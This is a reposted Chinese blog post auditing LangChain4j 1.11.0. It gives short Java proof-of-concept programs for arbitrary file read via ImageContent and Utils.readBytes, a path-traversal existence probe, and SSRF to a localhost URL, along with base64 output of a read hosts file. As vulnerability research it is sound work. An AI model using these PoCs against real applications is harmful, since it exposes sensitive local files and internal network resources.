文章总结： 文档对LangChain4j1.11.0框架进行代码审计，发现三处安全漏洞：ImageContent类extractBase64Content函数存在任意文件读取漏洞，可读取系统敏感文件；CustomMimeTypesFileTypeDetector存在目录穿越但仅能探测文件存在性；Utils.readBytes函数存在任意文件读取和SSRF漏洞，可访问本地文件或内网资源。作者提供了完整的POC代码验证漏洞。 综合评分： 65 文章分类： 代码审计,漏洞分析,WEB安全,应用安全,安全工具
langchain4j 1.11.0框架简单审计
原创
ap0s ap0s
ap0s
2026年2月20日 00:04 安徽
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langchain4j 1.11.0框架代码审计
水文一篇，酌情观看,没找到能反序列化的点，项目中除了jackson其他好像没有地方调用反序列化
简介
LangChain4j 的目标是简化将 LLM 集成到 Java 应用程序中的过程。
环境
<dependency>
<groupId>dev.langchain4j</groupId>
<artifactId>langchain4j-open-ai</artifactId>
<version>1.11.0</version>
</dependency>
任意文件读取
在dev.langchain4j.data.message中多处调用extractBase64Content函数，跟进
可见读取任意文件进行编码返回
package org.example;
import dev.langchain4j.data.message.ImageContent;
import dev.langchain4j.data.message.Content;
import dev.langchain4j.data.message.TextContent;
import dev.langchain4j.data.image.Image;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.Files;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
try {
Path filePath = Paths.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
ImageContent imageContent = ImageContent.from(filePath, "text/plain");
System.out.println(imageContent);
}catch (Exception e){
e.printStackTrace();
}
}
}
ImageContent { image = Image { url = null, base64Data = "IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQowLjAuMC4wIGJyb3dzZXIucGlwZS5hcmlhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgZG1kLm1ldGFzZXJ2aWNlcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHJpcy5hcGkuaXJpcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHRlYW1zLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZWNvbW1hbmQudGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdm9ydGV4LXdpbi5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgd2F0c29uLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgYWN0aXZpdHkud2luZG93cy5jb20NCjAuMC4wLjAgYnJvd3Nlci5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG91dGxvb2thZHMubGl2ZS5jb20NCg0KIyBXaW5kb3dzIEVycm9yIFJlcG9ydGluZw0KIyBodHRwczovL2xlYXJuLm1pY3Jvc29mdC5jb20vZW4tdXMvdHJvdWJsZXNob290L3dpbmRvd3MtY2xpZW50L3N5c3RlbS1tYW5hZ2VtZW50LWNvbXBvbmVudHMvd2luZG93cy1lcnJvci1yZXBvcnRpbmctZGlhZ25vc3RpY3MtZW5hYmxlbWVudC1ndWlkYW5jZSNjb25maWd1cmUtbmV0d29yay1lbmRwb2ludHMtdG8tYmUtYWxsb3dlZA0KMC4wLjAuMCB3YXRzb24ubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCB3YXRzb24udGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdW13YXRzb25jLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgY2V1c3dhdGNhYjAxLmJsb2IuY29yZS53aW5kb3dzLm5ldA0KMC4wLjAuMCBjZXVzd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQoNCiMgRGlhZ1RyYWNrL1RlbGVtZXRyeQ0KMC4wLjAuMCBldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGF1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVrLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVzLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV2ZW50cy1zYW5kYm94LmRhdGEubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCBwaXBlLmRldi50cmFmZmljbWFuYWdlci5uZXQNCjAuMC4wLjAgdjEwYy5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC52b3J0ZXgtd2luLmRhdGEubWljcm9zb2Z0LmNvbQ0KDQojIEJyYXZlDQowLjAuMC4wIHAzYS5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLmJyYXZlLmNvbQ0KMC4wLjAuMCBwM2EtanNvbi5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLWpzb24uYnJhdmUuY29tDQojIDAuMC4wLjAgbGFwdG9wLXVwZGF0ZXMuYnJhdmUuY29tDQojIDAuMC4wLjAgdmFyaWF0aW9ucy5icmF2ZS5jb20NCjAuMC4wLjAgY3IuYnJhdmUuY29tDQowLjAuMC4wIHN0YXItcmFuZHNydi5ic2cuYnJhdmUuY29tDQoNCiMgVmlzdWFsIFN0dWRpbyAvIFZTQ29kZQ0KMC4wLjAuMCB2b3J0ZXguZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGRjLnNlcnZpY2VzLnZpc3VhbHN0dWRpby5jb20NCjAuMC4wLjAgdmlzdWFsc3R1ZGlvLWRldmRpdi1jMnMubXNlZGdlLm5ldA0KMC4wLjAuMCBhejY2NzkwNC52by5tc2VjbmQubmV0DQowLjAuMC4wIHNjdXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldA0KMC4wLjAuMCBudy11bXdhdHNvbi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG1vYmlsZS5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wICAgICAgICAgLnBzZg0KMC4wLjAuMCAgICAgICAgIE1hYw0KMC4wLjAuMCAgICAgICAgIHBzZg0K", mimeType = "text/plain", revisedPrompt = null } detailLevel = LOW }
目录穿越
在dev.langchain4j.internal中probeContentType函数中
这里并不能直接读取文件内容，只能判断文件存不存在
POC：
package org.example;
import dev.langchain4j.internal.CustomMimeTypesFileTypeDetector;
import java.net.URI;
public class Main {
public static void main(String[] args) throws Exception {
CustomMimeTypesFileTypeDetector detector = new CustomMimeTypesFileTypeDetector();
URI uri = URI.create("file:///../../secret.txt");
String result = detector.probeContentType(uri);
System.out.println(result);
}
}
任意文件读取
dev.langchain4j.internal``readBytes函数中直接调用会进行任意文件读取
POC：
package org.example;
import dev.langchain4j.internal.Utils;
public class Main {
public static void main(String[] args) {
try {
String fileUrl = "file:///../../../windows/win.ini";
byte[] content = Utils.readBytes(fileUrl);
System.out.println(new String(content));
} catch (Exception e) {
System.err.println(e.getMessage());
}
}
}
SSRF
dev.langchain4j.internal``readBytes函数中直接调用拼接http头
POC：
package org.example;
import dev.langchain4j.internal.Utils;
public class Main {
public static void main(String[] args) {
try {
String fileUrl = "http://127.0.0.1:8000";
System.out.println("[*] 尝试读取: " + fileUrl);
byte[] content = Utils.readBytes(fileUrl);
System.out.println(new String(content));
} catch (Exception e) {
System.err.println("[-] 错误: " + e.getMessage());
}
}
}
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本文转载自：ap0s ap0s ap0s《langchain4j 1.11.0框架简单审计》
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